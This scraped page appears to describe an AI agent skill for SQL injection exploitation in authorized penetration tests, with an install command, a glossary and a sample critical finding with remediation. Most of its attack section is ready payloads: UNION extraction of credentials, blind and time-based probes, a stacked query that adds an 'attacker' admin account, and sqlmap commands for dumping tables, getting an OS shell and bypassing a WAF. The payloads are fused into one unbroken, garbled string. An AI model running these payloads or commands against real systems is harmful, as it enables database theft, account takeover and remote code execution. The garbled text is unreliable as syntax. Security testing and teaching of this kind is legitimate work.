Loading...
Loading...
Identifies and exploits SQL injection vulnerabilities in web applications during authorized penetration tests using manual techniques and automated tools like sqlmap. The tester detects injection points through error-based, union-based, blind boolean, and time-based blind techniques across all major database engines (MySQL, PostgreSQL, MSSQL, Oracle) to demonstrate data extraction, authentication bypass, and potential remote code execution. Activates for requests involving SQL injection testing, SQLi exploitation, database security assessment, or injection vulnerability verification.
npx skill4agent add mukul975/anthropic-cybersecurity-skills exploiting-sql-injection-vulnerabilities'' AND 1=1--' AND 1=2--'; WAITFOR DELAY '0:0:5'--' AND SLEEP(5)--'; SELECT pg_sleep(5)--' AND VERSION()--' AND @@version--' AND @@version--' AND DB_NAME()--' AND version()--' AND banner FROM v$version--CONCAT('a','b')'a' 'b''a'+'b''a'||'b''a'||'b'#-- -- -- -- ORDER BY' ORDER BY 1--' ORDER BY 2--' UNION SELECT NULL,username,password,NULL FROM users--EXTRACTVALUEUPDATEXML' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--'; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--sqlmap -u "https://target.com/page?id=1" --batch --random-agentsqlmap -u "https://target.com/page?id=1" --dbssqlmap -u "https://target.com/page?id=1" -D <database> --tablessqlmap -u "https://target.com/page?id=1" -D <database> -T users --dump --threads 5sqlmap -u "https://target.com/login" --data="username=test&password=test" -p usernamesqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --level 2sqlmap -u "https://target.com/page?id=1" --os-shellsqlmap -u "https://target.com/page?id=1" --tamper=space2comment,betweenadmin' OR 1=1--| Term | Definition |
|---|---|
| SQL Injection | A code injection technique that exploits unvalidated user input in SQL queries to manipulate database operations, extract data, or execute administrative operations |
| Union-Based SQLi | Injection technique that appends a UNION SELECT statement to the original query to extract data from other tables in the same response |
| Blind SQL Injection | Injection where the application does not return query results directly; the attacker infers data through boolean responses or time delays |
| Parameterized Query | A prepared SQL statement where user input is passed as parameters rather than concatenated into the query string, preventing injection |
| Second-Order Injection | SQL injection where the malicious payload is stored by the application and executed in a different context or SQL query at a later time |
| Stacked Queries | Executing multiple SQL statements separated by semicolons in a single request, enabling INSERT, UPDATE, or DELETE operations through injection |
| WAF Bypass | Techniques for evading Web Application Firewall rules that block common SQL injection patterns, using encoding, alternate syntax, or fragmentation |
/appointment?id=4521ORDER BY## Finding: SQL Injection in Appointment Detail Parameter
**ID**: SQLI-001
**Severity**: Critical (CVSS 9.8)
**Affected URL**: GET /appointment?id=4521
**Parameter**: id (GET parameter)
**Database**: MySQL 8.0.32
**Injection Type**: Error-based, UNION-based
**Description**:
The appointment detail page concatenates the 'id' URL parameter directly into
a SQL query without parameterization or input validation. This allows an attacker
to inject arbitrary SQL statements and extract data from any table in the database.
**Proof of Concept**:
Request: GET /appointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -
Response: Returns admin usernames and MD5 password hashes in the page content.
**Data Accessible**:
- patients table: 15,247 records (name, DOB, SSN, address, phone)
- medical_records table: 43,891 records (diagnoses, prescriptions, lab results)
- admin_users table: 5 accounts with MD5-hashed passwords
- billing table: 28,563 records (insurance details, payment information)
**Remediation**:
1. Replace string concatenation with parameterized queries:
VULNERABLE: $query = "SELECT * FROM appointments WHERE id = " . $_GET['id'];
SECURE: $stmt = $pdo->prepare("SELECT * FROM appointments WHERE id = ?");
$stmt->execute([$_GET['id']]);
2. Implement input validation to reject non-integer values for the id parameter
3. Apply least-privilege database permissions (read-only for the web application user)
4. Deploy a WAF rule to detect and block SQL injection patterns as defense-in-depth